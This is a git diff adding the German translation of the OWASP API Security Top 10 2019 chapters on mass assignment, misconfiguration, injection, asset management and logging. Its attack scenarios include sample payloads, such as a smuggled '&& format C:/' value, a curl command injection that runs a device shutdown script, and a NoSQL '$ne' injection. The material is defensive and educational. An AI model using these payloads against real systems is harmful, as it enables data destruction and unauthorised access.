explizite Genehmigungen für bestimmte Rollen für den Zugriff auf jede Funktion erfordern. +* Überprüfen Sie Ihre API-Endpunkte auf Mängel bei der Autorisierung auf Funktionsebene und berücksichtigen Sie dabei die Geschäftslogik der Anwendung und die Hierarchie der Gruppen. +* Stellen Sie sicher, dass alle Ihre administrativen Controller von einem abstrakten administrativen Controller erben, der Berechtigungsprüfungen auf Grundlage der Gruppe/Rolle des Benutzers implementiert. +* Stellen Sie sicher, dass administrative Funktionen innerhalb eines regulären Controllers Berechtigungsprüfungen auf Grundlage der Gruppe und Rolle des Benutzers implementieren. + +## References + +### OWASP + +* [OWASP Article on Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Chapter on Authorization][3] + +### Externe Quellen + +* [CWE-285: Improper Authorization][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2019/de/0xa6-mass-assignment.md b/editions/2019/de/0xa6-mass-assignment.md new file mode 100644 index 000000000..8dd01ebd6 --- /dev/null +++ b/editions/2019/de/0xa6-mass-assignment.md @@ -0,0 +1,64 @@ +# API6:2019 - Mass Assignment + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch | +| Die Ausnutzung erfordert in der Regel ein Verständnis der Geschäftslogik, der Beziehungen zwischen den Objekten und der API-Struktur. Die Ausnutzung von "Mass Asignment" ist in APIs einfacher, da sie aufgrund ihrer Konzeption die zugrundeliegende Implementierung der Anwendung zusammen mit den Namen der Eigenschaften offenlegen. | Moderne Frameworks ermutigen Entwickler zur Verwendung von Funktionen, die automatisch Eingaben vom Client in Codevariablen und interne Objekte binden. Angreifer können diese Methode nutzen, um die Eigenschaften sensibler Objekte zu aktualisieren oder zu überschreiben, die die Entwickler nie offenlegen wollten. | Die Ausnutzung kann zu einer Ausweitung von Privilegien, Datenmanipulation, Umgehung von Sicherheitsmechanismen und vielem mehr führen. | + +## Ist die API angreifbar? + +Moderne Anwendungen können viele Objekteigenschaften enthalten. Einige dieser Eigenschaften sollten direkt vom Client aktualisiert werden (z. B. `user.first_name` oder `user.address`), während andere nicht aktualisiert werden sollten (z. B. `user.is_vip-Flag`). + +Ein API-Endpunkt ist anfällig, wenn er automatisch Client-Parameter in interne Objekteigenschaften konvertiert, ohne dabei die Sensibilität und das Gefährdungspotential dieser Eigenschaften zu berücksichtigen. Dies könnte einem Angreifer ermöglichen, Objekteigenschaften zu aktualisieren, auf die er keinen Zugriff haben sollte. + +Beispiele für sensible Eigenschaften: + +* **Permission-related properties**: `user.is_admin`, `user.is_vip` sollte nur nur von Administratoren gesetzt werden. +* **Process-dependent properties**: `user.cash` sollte nur intern gesetzt werden nach der Zahlungsüberprüfung gesetzt werden. +* **Internal properties**: `article.created_time` sollte nur intern gesetzt werden durch die Anwendung gesetzt werden. + +## Beispiele für Angriffe + +### Szenario #1 + +Eine Anwendung für Mitfahrgelegenheiten bietet einem Nutzer die Möglichkeit, grundlegende Informationen für sein Profil zu bearbeiten. Während dieses Prozesses wird ein API-Aufruf gesendet an +`PUT /api/v1/users/me` mit dem folgenden legitimen JSON-Objekt: + +```json +{"user_name":"inons","age":24} +``` + +Die Anfrage `GET /api/v1/users/me` enthält eine zusätzlich ein `credit_balance` Attribut: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +Der Angreifer wiederholt die erste Anfrage mit der folgendem Payload: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Da der Endpunkt anfällig für "MAss Assignment" ist, erhält der Angreifer Credits, ohne zu bezahlen. + +### Szenario #2 + +Ein Portal zur gemeinsamen Nutzung von Videos ermöglicht es Nutzern, Inhalte hochzuladen und in verschiedenen Formaten herunterzuladen. Ein Angreifer, der die API erforscht, fand heraus, dass der Endpunkt `GET /api/v1/videos/{video_id}/meta_data` ein JSON-Objekt mit den Eigenschaften des Videos zurückgibt. Eine der Eigenschaften ist `"mp4_conversion_params":"-v codec h264"`, was darauf hinweist, dass die Anwendung einen Shell-Befehl zur Konvertierung des Videos verwendet. + +Der Angreifer fand auch heraus, dass der Endpunkt `POST /api/v1/videos/new` für "Mass Asignment" anfällig ist und es dem Client ermöglicht, eine beliebige Eigenschaft des Videoobjekts festzulegen. Der Angreifer setzt einen bösartigen Wert wie folgt: `"mp4_conversion_params":"-v codec h264 && format C:/"`. Dieser Wert verursacht eine "Remote Code Execution", sobald der Angreifer das Video als MP4 herunterlädt. + +## Vorbeugende Maßnahmen + +* Vermeiden Sie nach Möglichkeit die Verwendung von Funktionen, die automatisch die Eingaben eines Benutzers in Variablen oder interne Objekte speicher, ohne diese zu validieren. +* Setzen Sie nur die Eigenschaften auf die Whitelist, die vom Client aktualisiert werden sollen. +* Verwenden Sie integrierte Funktionen, um Eigenschaften, auf die der Client nicht zugreifen darf, zu blockieren. +* Definieren und Erzwingen Sie gegebenenfalls explizit Schemata für die Eingabedaten. + +## Referenzen + +### Externe Quellen + +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2019/de/0xa7-security-misconfiguration.md b/editions/2019/de/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..87bfa5f8f --- /dev/null +++ b/editions/2019/de/0xa7-security-misconfiguration.md @@ -0,0 +1,80 @@ +# API7:2019 Security Misconfiguration + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **3** | Komplexität **2** : Unternehmensspezifisch | +| Angreifer versuchen oft, ungepatchte Schwachstellen, gemeinsame Endpunkte oder ungeschützte Dateien und Verzeichnisse zu finden, um sich unbefugten Zugriff auf das System zu verschaffen oder Kenntnisse über das System zu erlangen. | Eine Sicherheitskonfiguration kann auf jeder Ebene des API-Stacks unsicher sein, von der Netzwerkebene bis zur Anwendungsebene. Es gibt automatisierte Tools, die dazu dienen, Fehlkonfigurationen wie unnötige Dienste oder veraltete Optionen zu erkennen und auszunutzen. | Unsichere Sicherheitskonfigurationen können nicht nur sensible Benutzerdaten, sondern auch Systemdetails preisgeben, die zu einer vollständigen Kompromittierung des Servers führen können. | + +## Ist die API angreifbar? + +Die API könnte anfällig sein, wenn: + +* Es fehlt eine angemessene Sicherheitshärtung, sei es auf einer beliebigen Ebene des Anwendungs-Stacks oder wenn die Berechtigungen für Cloud-Services falsch konfiguriert sind. +* Die neuesten Sicherheitspatches fehlen oder das System veraltet ist. +* Unnötige Funktionen aktiviert sind (z. B. HTTP-Methoden). +* Keine Transport Layer Security (TLS) eingesetzt wird. +* Sicherheitsrichtlinien werden den Clients nicht übermittelt (z. B. [Security Headers][1]). +* Eine Cross-Origin Resource Sharing (CORS)-Richtlinie fehlt oder falsch konfiguriert ist. +* Fehlermeldungen, Stack-Traces enthalten oder andere sensible Informationen offengelegt werden. + +## Beispiele für Angriffe + +### Szenario #1 + +Ein Angreifer findet die Datei `.bash_history` unter dem Stammverzeichnis des Servers, die Befehle enthält, die vom DevOps-Team für den Zugriff auf die API verwendet werden: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` +Ein Angreifer könnte auch neue Endpunkte für die API identifizieren, die nur vom +DevOps-Team verwendet werden und nicht dokumentiert sind. + +### Szenario #2 + +Um einen bestimmten Dienst ins Visier zu nehmen, verwendet ein Angreifer eine beliebte Suchmaschine, um nach Computern zu suchen. Der Angreifer fand einen Host, auf dem ein beliebtes Datenbankmanagementsystem auf dem Standardport läuft. Der Host verwendete die Standardkonfiguration, bei der die Authentifizierung standardmäßig deaktiviert ist. Der Angreifer erlangte Zugriff auf Millionen von Datensätzen mit personenbezogenen Daten, persönlichen Präferenzen und Authentifizierungsdaten. + +### Szenario #3 + +Bei der Untersuchung des Datenverkehrs einer mobilen Anwendung stellt ein Angreifer fest, dass nicht der gesamte HTTP-Verkehr über ein sicheres Protokoll (z. B. TLS) abgewickelt wird. Der Angreifer findet dies insbesondere für den Download von Profilbildern herraus. Da die Daten binär kodiert sind, findet der Angreifer, ein Muster in der Größe der API-Antworten, das er nutzt, um die Präferenzen der Benutzer bezüglich des dargestellten Inhalts (z. B. Profilbilder) auszulesen. + +## Vorbeugende Maßnahmen + +Der API-Lebenszyklus sollte Folgendes umfassen: + +* Ein wiederholbarer Härtungsprozess, der zu einer schnellen und einfachen Bereitstellung einer ordnungsgemäß gehärteten Umgebung führt. +* Die Überprüfung und Aktualisierung von Konfigurationen für den gesamten API-Stack. Die Überprüfung sollte Folgendes umfassen: Orchestrierungsdateien, API-Komponenten und Cloud-Dienste (z. B. S3-Bucket-Berechtigungen). +* Ein sicherer Kommunikationskanal für alle API-Interaktionen, einschließlich des Zugriffs auf statische Assets (z. B. Bilder). +* Ein automatisierter Prozess zur kontinuierlichen Bewertung der Effektivität der Konfiguration und Einstellungen in allen Umgebungen. + +Darüber hinaus: + +* Um zu verhindern, dass Exception-Traces und andere wertvolle Informationen an Angreifer zurückgesendet werden, sollten, falls zutreffend, alle API-Antwort-Schemata definiert und erzwungen werden, einschließlich Fehlermeldungen. +* Stellen Sie sicher, dass auf die API nur mit den angegebenen HTTP-Verben zugegriffen werden kann. Alle anderen HTTP-Verben sollten deaktiviert werden (z. B. `HEAD`). +* APIs, auf die von browserbasierten Clients zugegriffen werden soll (z. B. WebApp Front-End), sollten eine angemessene Cross-Origin Resource Sharing (CORS)-Richtlinie implementieren. + +## Referenzen + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Externe Quellen + +* [CWE-2: Environmental Security Flaws][4] +* [CWE-16: Configuration][5] +* [CWE-388: Error Handling][6] +* [Guide to General Server Security][7], NIST +* [Let’s Encrypt: a free, automated, and open Certificate Authority][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) diff --git a/editions/2019/de/0xa8-injection.md b/editions/2019/de/0xa8-injection.md new file mode 100644 index 000000000..79ac16175 --- /dev/null +++ b/editions/2019/de/0xa8-injection.md @@ -0,0 +1,97 @@ +# API8:2019 Injection + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **3** | Komplexität **3** : Unternehmensspezifisch | +| Angreifer füttern die API mit bösartigen Daten über alle verfügbaren Injektionsvektoren (z. B. direkte Eingabe, Parameter, integrierte Dienste usw.) und erwarten, dass diese an einen Interpreter gesendet werden. | Injection-Fehler sind sehr häufig und werden oft in SQL-, LDAP- oder NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern und ORM gefunden. Diese Schwachstellen sind bei der Überprüfung des Quellcodes leicht zu entdecken. Angreifer können Scanner und Fuzzer verwenden. | Ein "Injection"-Angriff kann zur Offenlegung von Informationen und zum Datenverlust führen. Es kann auch zu DoS oder einer vollständigen Übernahme des Hosts kommen. | + +## Ist die API angreifbar? + +Die API ist anfällig für Injection-Angriffe, wenn: + +* Die von den Clients gelieferten Daten nicht von der API validiert, gefiltert oder bereinigt werden. +* Die von den Clients gelieferten Daten direkt für SQL/NoSQL/LDAP-Abfragen, OS-Befehle, XML-Parser und Object Relational (ORM) / Object Document Mapping (ODM) verwendet oder konkateniert werden. +* Daten von externen Systemen (z.B. integrierten Systemen) nicht von der API validiert, gefiltert oder bereinigt werden. + +## Beispiele für Angriffe + +### Szenario #1 + +Die Firmware einer Kindersicherungseinrichtung stellt den Endpunkt +`/api/CONFIG/restore` zur Verfügung, der die Übermittlung einer appId als Multipart +Parameter erwartet. Mit Hilfe eines Decompilers findet ein Angreifer heraus, dass die appId +direkt in einen Systemaufruf ohne jegliche Validierung übergeben wird: + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Mit dem folgenden Befehl kann der Angreifer jedes Gerät mit der gleichen +verwundbaren Firmware ausschalten: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Szenario #2 + +Wir haben eine Anwendung mit grundlegenden CRUD-Funktionen für Operationen mit +Buchungen. Ein Angreifer konnte herausfinden, dass eine NoSQL-Injection möglich ist, welche +durch den Query-String-Parameter `bookingId` in der Anfrage zum Löschen von Buchungen besteht. Die Anfrage sieht folgendermaßen aus: `DELETE /api/bookings?bookingId=678`. + +Der API-Server verwendet die folgende Funktion zur Bearbeitung von Löschanfragen: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +Der Angreifer hat die Anfrage abgefangen und den Abfrageparameter `bookingId` wie unten gezeigt geändert. In diesem Fall gelang es dem Angreifer, die Buchung eines anderen Benutzers zu löschen: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Vorbeugende Maßnahmen + +Um Injection-Angriffe zu verhindern müssen Daten von Befehlen und Abfragen getrennt werden. + +* Führen Sie eine Datenvalidierung mit einer einzigen, vertrauenswürdigen und aktiv gepflegten +Bibliothek durch. +* Validieren, filtern und bereinigen Sie alle vom Client bereitgestellten Daten oder andere Daten, die +von integrierten Systemen kommen. +* Sonderzeichen sollten unter Verwendung der spezifischen Syntax für den Zielinterpreter +escaped werden. +* Bevorzugen Sie eine sichere API, die eine parameterisierte Schnittstelle bereitstellt. +* Begrenzen Sie immer die Anzahl der zurückgegebenen Datensätze, um einen Datenverlust im Falle von erfolgreichen Injection-Angriffen zu verhindern. +* Validieren Sie eingehende Daten mithilfe ausreichender Filter, um nur gültige Werte für jeden Eingabeparameter zuzulassen. +* Definieren Sie Datentypen und strenge Muster für alle String-Parameter. + +## Referenzen + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Externe Quellen + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html diff --git a/editions/2019/de/0xa9-improper-assets-management.md b/editions/2019/de/0xa9-improper-assets-management.md new file mode 100644 index 000000000..c1760c912 --- /dev/null +++ b/editions/2019/de/0xa9-improper-assets-management.md @@ -0,0 +1,54 @@ +# API9:2019 Improper Assets Management + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch | +| Alte API-Versionen sind in der Regel nicht gepatcht und bieten daher eine einfache Möglichkeit, Systeme zu kompromittieren, ohne sich mit modernsten Sicherheitsmechanismen auseinandersetzen zu müssen, die zum Schutz der neuesten API-Versionen implementiert wurden. | Veraltete Dokumentation erschwert die Suche nach Schwachstellen und die Behebung dieser. Das Fehlen einer Übersicht aller Systeme und einer Abschalt-Strategie führt zu ungepatchten Systemen, was zu einer Offenlegung sensibler Daten führen kann. Es ist häufig anzutreffen, dass API-Hosts unnötigerweise exponiert werden, da moderne Konzepte wie Microservices eine einfache Bereitstellung und Unabhängigkeit von Anwendungen ermöglichen (z. B. Cloud Computing, k8s). | Angreifer können über alte, ungepatchte API-Versionen, die mit derselben Datenbank verbunden sind, Zugriff auf sensible Daten erlangen oder sogar den Server übernehmen. | + +## Ist die API angreifbar? + +Die API könnte verwundbar sein, wenn: + +* Der Zweck eines API-Hosts unklar ist und es keine klaren Antworten auf folgende Fragen gibt: + * In welcher Umgebung wird die API ausgeführt (z. B. Produktion, Staging, Test, Entwicklung)? + * Wer sollte Netzwerkzugriff auf die API haben (z. B. öffentlich, intern, Partner)? + * Welche API-Version wird ausgeführt? + * Welche Daten werden von der API erfasst und verarbeitet (z. B. PII)? + * Wie verläuft der Datenfluss? +* Es gibt keine Dokumentation oder die vorhandene Dokumentation ist veraltet. +* Es gibt keinen Plan zur Ausmusterung jeder API-Version. +* Die Dienstübericht der Hosts fehlt oder ist veraltet. +* Die Übersicht der integrierten Dienste, sowohl von Erst- als auch von Drittanbietern, fehlt oder ist veraltet. +* Alte oder frühere API-Versionen werden ungepatcht ausgeführt. + +## Beispiele für Angriffe + +### Szenario #1 + +Nach der Neugestaltung ihrer Anwendungen ließ ein lokaler Suchdienst eine alte API-Version (`api.someservice.com/v1`) weiterlaufen, ohne Schutz und mit Zugriff auf die Benutzerdatenbank. Während eines Angriffs auf eine der neuesten veröffentlichten Anwendungen fand ein Angreifer die API-Adresse (`api.someservice.com/v2`). Durch das Ersetzen von `v2` in der URL durch `v1` erhielt der Angreifer Zugriff auf die alte, ungeschützte API und konnte personenbezogene Daten (PII) von über 100 Millionen Nutzern offenlegen. + +### Szenario #2 + +Ein soziales Netzwerk hat einen Mechanismus zum Rate-Limiting eingeführt, der Angreifer daran hindert, mittels Brute-Force-Attacken zurückgesetzte Passwort-Token zu erraten. Dieser Mechanismus wurde nicht als Teil des API-Codes selbst implementiert, sondern in einer separaten Komponente zwischen dem Client und der offiziellen API (`www.socialnetwork.com`). +Ein Forscher fand einen Beta-API-Host (`www.mbasic.beta.socialnetwork.com`), der dieselbe API ausführte, einschließlich des Mechanismus zum Zurücksetzen des Passworts, aber der Mechanismus zum Rate-Limiting war nicht implementiert. Der Forscher konnte das Passwort jedes Benutzers zurücksetzen, indem er mittels einer einfachen Brute-Force-Methode den 6-stelligen Token erraten hat. + +## Vorbeugende Maßnahmen + +* Inventarisieren Sie alle API-Hosts und dokumentieren Sie wichtige Aspekte. Konzentrieren Sie sich dabei auf die API-Umgebung (z. B. Produktion, Staging, Test, Entwicklung), wer Netzwerkzugriff auf den Host haben sollte (z. B. öffentlich, intern, Partner) und die API-Version. +* Inventarisieren Sie integrierte Dienste und dokumentieren Sie wichtige Aspekte wie ihre Rolle im System, welche Daten ausgetauscht werden (Datenfluss) und ihre Sensibilität. +* Dokumentieren Sie alle Aspekte Ihrer API wie Authentifizierung, Fehler, Umleitungen, Ratenbegrenzung, Cross-Origin Resource Sharing (CORS)-Richtlinien und Endpunkte, einschließlich ihrer Parameter, Anfragen und Antworten. +* Generieren Sie die Dokumentation automatisch durch die Annahme von offenen Standards. Fügen Sie den Dokumentationsaufbau in Ihre CI/CD-Pipeline ein. +* Stellen Sie die API-Dokumentation nur denjenigen zur Verfügung, die berechtigt sind, die API zu nutzen. +* Verwenden Sie externe Schutzmaßnahmen wie API-Sicherheits-Firewalls für alle freigegebenen Versionen Ihrer APIs, nicht nur für die aktuelle Produktionsversion. +* Vermeiden Sie die Verwendung von Produktionsdaten bei nicht-produktionsbezogenen API-Bereitstellungen. Wenn dies unvermeidlich ist, sollten diese Endpunkte die gleiche Sicherheitsbehandlung wie die Produktionsendpunkte erhalten. +* Wenn neuere Versionen von APIs Sicherheitsverbesserungen enthalten, führen Sie eine Risikoanalyse durch, um die Entscheidung über die erforderlichen Maßnahmen zur Risikominderung für die ältere Version zu treffen: zum Beispiel, ob es möglich ist, die Verbesserungen rückwärtskompatibel zu machen, ohne die API-Kompatibilität zu beeinträchtigen, oder ob Sie schnell zur älteren Version wechseln und alle Clients zwingen müssen, zur neuesten Version zu wechseln. + +## Referenzen + +### Externe Quellen + +* [CWE-1059: Incomplete Documentation][1] +* [OpenAPI Initiative][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/de/0xaa-insufficient-logging-monitoring.md b/editions/2019/de/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..158888110 --- /dev/null +++ b/editions/2019/de/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,61 @@ +# API10:2019 Insufficient Logging & Monitoring + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **3** : Erkennbarkeit **1** | Komplexität **2** : Unternehmensspezifisch | +| Angreifer nutzen die fehlende Protokollierung und Überwachung aus, um Systeme unbemerkt zu missbrauchen. | Ohne Protokollierung und Überwachung oder mit unzureichender Protokollierung und Überwachung ist es fast unmöglich, verdächtige Aktivitäten zu verfolgen und rechtzeitig darauf zu reagieren. | Ohne Einblick in laufende bösartige Aktivitäten haben Angreifer genügend Zeit, um Systeme vollständig zu kompromittieren. | + +## Ist die API angreifbar? + +Die API ist angreifbar, wenn: + +* Sie keine keine Protokolle erzeugt, die Protokollierungsstufe nicht korrekt eingestellt ist oder die Protokoll Nachrichten nicht genügend Details enthalten. +* Die Integrität der Protokolle nicht gewährleistet ist(z. B. [Log Injection][1]). +* Die Protokolle nicht kontinuierlich überwacht werden. +* Die API-Infrastruktur nicht kontinuierlich überwacht wird. + +## Beispiele für Angriffe + +### Szenario #1 + +Die Zugriffsschlüssel einer administrativen API wurden in einem öffentlichen Repository veröffentlicht. Der +Repository-Eigentümer wurde per E-Mail über das mögliche Datenleck informiert, brauchte aber mehr als +48 Stunden, um auf den Vorfall zu reagieren. Die Veröffentlichung der Zugangsschlüssel hat eventuell +Zugang zu sensiblen Daten ermöglicht. Aufgrund der unzureichenden Protokollierung kann das Unternehmen nicht beurteilen, auf welche Daten zugegriffen wurde. + +### Szenario #2 + +Eine Video-Sharing-Plattform wurde von einem "groß angelegten" Credential Stuffing-Angriff getroffen. +Obwohl fehlgeschlagene Anmeldungen protokolliert wurden, wurde in der Zeitspanne des Angriffs kein Alarm ausgelöst. +Als Reaktion auf Nutzerbeschwerden wurden die API-Protokolle analysiert und der Angriff wurde entdeckt. Das Unternehmen musste eine öffentliche Ankündigung machen, in der es die Nutzer aufforderte ihre Passwörter zurückzusetzen. Außerdem musste das Unternehmen den Vorfall den Aufsichtsbehörden melden. + +## Vorbeugende Maßnahmen + +* Protokollieren Sie alle fehlgeschlagenen Authentifizierungsversuche, verweigerten Zugriff und Eingabevalidierungsfehler. +* Die Protokolle sollten in einem Format geschrieben werden, das von einer Log-Management-Lösung verarbeitet werden kann, und sie sollten genügend Details enthalten, um den Angreifer zu identifizieren. +* Protokolle sollten als sensible Daten behandelt werden, und ihre Integrität sollte stets gewährleistet sein. +* Konfigurieren Sie ein Überwachungssystem zur kontinuierlichen Überwachung der Infrastruktur, des Netzwerks und der Funktionsweise der API. +* Verwenden Sie ein Security Information and Event Management (SIEM), um Protokolle aller Komponenten der API und der Hosts zu sammeln und zu verwalten. +* Konfigurieren Sie benutzerdefinierte Dashboards und Warnmeldungen, um verdächtige Aktivitäten zu erkennen und darauf reagieren zu können. + +## Referenzen + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Externe Quellen + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html + diff --git a/editions/2019/de/0xb0-next-devs.md b/editions/2019/de/0xb0-next-devs.md new file mode 100644 index 000000000..80a0e3587 --- /dev/null +++ b/editions/2019/de/0xb0-next-devs.md @@ -0,0 +1,34 @@ +# Was kommt als Nächstes für Entwickler? + +Die Aufgabe, sichere Software zu erstellen und zu pflegen oder bestehende Software zu reparieren, kann +schwierig sein. Bei APIs ist das nicht anders. + +Wir glauben, dass Fortbildung und Bewusstsein die Schlüsselfaktoren für das Schreiben sicherer +Software sind. Alles andere, was erforderlich ist, um das Ziel zu erreichen, hängt ab von +**Einführung und Verwendung von wiederholbaren Sicherheitsprozessen und standardisierten Sicherheitskontrollen**. + +OWASP hat seit Beginn des Projekts zahlreiche freie und offene Ressourcen zum Thema Sicherheit +vorgestellt. Bitte besuchen Sie die [OWASP-Projektseite][1] für eine umfassende Liste der verfügbaren Projekte. + +| | | +|-|-| +| **Bildung** | Sie können je nach Beruf und Interesse mit dem Lesen von [OWASP Education Project materials][2] beginnen. Für praktisches Lernen haben wir **crAPI** - **C**ompletely **R**idiculous **API** auf [unsere Roadmap][3] gesetzt. In der Zwischenzeit können Sie WebAppSec mit dem [OWASP DevSlop Pixi Module][4] üben, einem verwundbaren WebApp- und API-Service, der Benutzern beibringen soll, wie man moderne Webanwendungen und APIs auf Sicherheitsprobleme testet und wie man in Zukunft sicherere APIs schreibt. Sie können auch an den Schulungssitzungen der [OWASP AppSec Conference][5] teilnehmen oder [Ihrem lokalen Verband beitreten][6]. | +| **Sicherheitsanforderungen** | Sicherheit sollte von Anfang an Teil eines jeden Projekts sein. Bei der Anforderungserhebung ist es wichtig zu definieren, was "sicher" für dieses Projekt bedeutet. OWASP empfiehlt, den [OWASP Application Security Verification Standard (ASVS)][7] als Leitfaden für die Festlegung der Sicherheitsanforderungen zu verwenden. Wenn Sie ein Projekt auslagern, sollten Sie den [OWASP Secure Software Contract Annex][8] verwenden, der entsprechend den lokalen Gesetzen und Vorschriften angepasst werden sollte. | +| **Sicherheitsarchitektur** | Sicherheit sollte während aller Projektphasen ein Thema bleiben. Die [OWASP Prevention Cheat Sheets][9] sind ein guter Ausgangspunkt für Anleitungen, wie man Sicherheit schon in der Architekturphase einplant. Unter vielen anderen finden Sie das [REST Security Cheat Sheet][10] und das [REST Assessment Cheat Sheet][11]. | +| **Standard-Sicherheitskontrollen** | Die Übernahme von Standard-Sicherheitskontrollen verringert das Risiko, beim Schreiben Ihrer eigenen Logik Sicherheitslücken einzuführen. Trotz der Tatsache, dass viele moderne Frameworks mittlerweile über eingebaute effektive Standardkontrollen verfügen, gibt [OWASP Proactive Controls][12] einen guten Überblick darüber, welche Sicherheitskontrollen Sie in Ihr Projekt einbauen sollten. OWASP stellt auch einige Bibliotheken und Tools zur Verfügung, die für Sie nützlich sein können, wie z.B. Validierungskontrollen. | +| **Secure Software Development Life Cycle** | Sie können das [OWASP Software Assurance Maturity Model (SAMM)][13] verwenden, um den Prozess bei der Erstellung von APIs zu verbessern. Mehrere andere OWASP-Projekte stehen zur Verfügung, um Sie in den verschiedenen Phasen der API-Entwicklung zu unterstützen, z. B. das [OWASP Code Review Project][14]. | + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/de/0xb1-next-devsecops.md b/editions/2019/de/0xb1-next-devsecops.md new file mode 100644 index 000000000..07684cadb --- /dev/null +++ b/editions/2019/de/0xb1-next-devsecops.md @@ -0,0 +1,27 @@ +# Was kommt als Nächstes für DevSecOps? + +Aufgrund ihrer Bedeutung in modernen Anwendungsarchitekturen ist der Aufbau sicherer +APIs von entscheidender Bedeutung. Die Sicherheit darf nicht vernachlässigt werden und sollte Teil des +gesamten Entwicklungslebenszyklus sein. Jährliches Scannen und Penetrationstests sind nicht länger ausreichend. + +DevSecOps sollte die Entwicklung begleiten und kontinuierliche Sicherheitstests über den gesamten Lebenszyklus der Softwareentwicklung hinweg durchführen. Ihr Ziel ist es die Entwicklungspipeline durch Sicherheitsautomatisierung zu verbessern, ohne die +Geschwindigkeit der Entwicklung zu beeinträchtigen. 